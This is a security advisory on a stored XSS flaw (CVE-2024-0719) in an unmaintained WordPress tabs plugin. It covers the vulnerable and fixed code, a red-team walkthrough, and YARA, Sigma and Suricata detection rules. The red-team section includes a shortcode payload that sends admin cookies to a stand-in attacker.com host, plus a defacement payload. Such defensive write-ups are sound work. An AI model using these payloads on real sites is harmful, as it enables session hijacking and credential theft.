CVE-2024-0719

Executive Summary

CVE-2024-0719 is a Stored Cross-Site Scripting (XSS) vulnerability found in the WordPress plugin "Tabs Shortcode and Widget" versions up to and including 1.17. This plugin is no longer maintained and has been closed on the WordPress plugin repository. The vulnerability allows authenticated users with at least the Contributor role to inject arbitrary JavaScript into pages or posts via unsanitized shortcode attributes. When an administrator or other user views the compromised content, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The plugin is part of the WordPress ecosystem and is not related to Apache or Nginx.

Supply Chain & Package Security

This vulnerability is a classic supply chain risk. The plugin is a third-party component within the WordPress ecosystem. Since the plugin is closed and unmaintained, no patch will be released. Any site still using this plugin is exposed to a known, exploitable vulnerability. This highlights the critical need for continuous monitoring of third-party dependencies and the removal of abandoned plugins.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor role)
• User Interaction: None
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the ease of exploitation and the potential for account takeover (if combined with other attacks) elevates the risk. The lack of a patch makes this a persistent threat for any site still using the plugin.

Deep Dive & Mechanics

The vulnerability resides in the plugin's shortcode handling. The plugin registers a shortcode (e.g., [tabs]) that accepts attributes like title, tab, etc. When rendering the shortcode, the plugin directly outputs these attribute values into the HTML without proper sanitization or escaping.

For example, a shortcode like:

[tabs title="<script>alert('XSS')</script>"]

would be processed and the title attribute would be echoed into the page's HTML as:

<div class="tab-title"><script>alert('XSS')</script></div>

Because the shortcode is processed on the server side and stored in the post content, the malicious script is stored in the database. Any user viewing the page will execute the script. The Contributor role is sufficient because WordPress allows Contributors to create posts and use shortcodes, though they cannot publish them directly. However, an Administrator or Editor who views the draft will trigger the XSS.

Vulnerable vs. Patched Code

Vulnerable Code (from plugin source, version 1.17):

// In the shortcode handler function
function tabs_shortcode_handler($atts, $content = null) {
    extract(shortcode_atts(array(
        'title' => '',
        'tab' => '',
    ), $atts));
    
    // Direct output without escaping
    $output = '<div class="tab-title">' . $title . '</div>';
    $output .= '<div class="tab-content">' . $content . '</div>';
    return $output;
}

Patched Code (hypothetical, as no official patch exists):

function tabs_shortcode_handler($atts, $content = null) {
    $atts = shortcode_atts(array(
        'title' => '',
        'tab' => '',
    ), $atts);
    
    // Escape output
    $output = '<div class="tab-title">' . esc_html($atts['title']) . '</div>';
    $output .= '<div class="tab-content">' . wp_kses_post($content) . '</div>';
    return $output;
}

The fix uses esc_html() to encode HTML special characters in the title attribute and wp_kses_post() to allow only safe HTML in the content.

Exploitation & Lab Setup

Red Team (Exploitation)

1. Prerequisites: A WordPress site with the vulnerable plugin installed and a user account with at least the Contributor role.
2. Craft Payload: Create a post or page and insert the following shortcode:

   [tabs title="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"]
   

3. Save as Draft: The Contributor saves the post as a draft.
4. Trigger: An Administrator or Editor views the draft. The script executes, sending the admin's cookies to the attacker's server.
5. Session Hijacking: The attacker uses the stolen cookies to impersonate the admin.

Alternative Payload (Defacement):

[tabs title="<script>document.body.innerHTML='<h1>Hacked</h1>'</script>"]

Blue Team (Detection & Prevention)

1. Immediate Action: Remove the plugin entirely from all WordPress installations.
2. Scan for Usage: Search the WordPress database for any posts containing the shortcode [tabs:

   SELECT * FROM wp_posts WHERE post_content LIKE '%[tabs%';
   

3. Review User Activity: Check for recent posts or pages created by Contributor-level users that contain suspicious shortcode attributes.
4. Web Application Firewall (WAF): Create a rule to block requests containing <script> in shortcode attributes. Example ModSecurity rule:

   SecRule ARGS "@rx <script" "id:1001,phase:2,deny,status:403,msg:'XSS in shortcode attribute'"
   

5. Monitor Logs: Look for unusual outbound connections from the web server, especially to unknown domains.

Indicators of Compromise (IOCs)

• File System: Presence of the plugin directory /wp-content/plugins/tabs-shortcode-and-widget/
• Database: Posts or pages containing the shortcode [tabs with suspicious attributes (e.g., <script>, onload=, javascript:).
• Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server, especially containing cookie data.
• Logs: Web server access logs showing requests to pages containing the vulnerable shortcode, followed by requests to external domains.

Detection Engineering

YARA Rule

rule wordpress_tabs_xss_cve_2024_0719 {
    meta:
        description = "Detects the vulnerable Tabs Shortcode and Widget plugin files"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-0719"
    strings:
        $plugin_header = "Plugin Name: Tabs Shortcode and Widget"
        $vuln_func = "tabs_shortcode_handler"
        $unsafe_output = "'. $title .'"
    condition:
        $plugin_header and $vuln_func and $unsafe_output
}

Sigma Rule

title: WordPress Tabs Shortcode XSS Attempt
id: 8f2a1b3c-4d5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects attempts to exploit CVE-2024-0719 by injecting script tags into shortcode attributes
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: 
            - '/wp-admin/post.php'
            - '/wp-admin/post-new.php'
        cs-method: 'POST'
        cs-uri-query|contains: 
            - '[tabs'
            - '<script'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in shortcode attributes (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-0719 WordPress Tabs Shortcode XSS - Outbound Cookie Exfiltration"; flow:to_server,established; content:"Cookie"; http_header; content:"GET"; http_method; content:"/steal"; http_uri; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Remediation:

1. Remove the plugin: Delete the /wp-content/plugins/tabs-shortcode-and-widget/ directory via FTP or WordPress admin.
2. Clean Database: Remove any posts or pages containing the vulnerable shortcode. Use a database search tool or SQL query to find and delete or sanitize them.
3. Change Passwords: Force all users, especially administrators, to change their passwords.
4. Rotate API Keys: If any API keys or secrets were exposed, rotate them immediately.

Long-Term Mitigation:

1. Plugin Policy: Implement a policy to only use actively maintained plugins from reputable sources.
2. Regular Audits: Periodically audit all installed plugins and remove any that are abandoned or have known vulnerabilities.
3. Web Application Firewall: Deploy a WAF with rules to block common XSS patterns.
4. User Role Review: Restrict the use of shortcodes to trusted roles only (e.g., Editor and above). Consider using a plugin that allows granular control over shortcode usage.

Valters IT
Securing Digital Ecosystems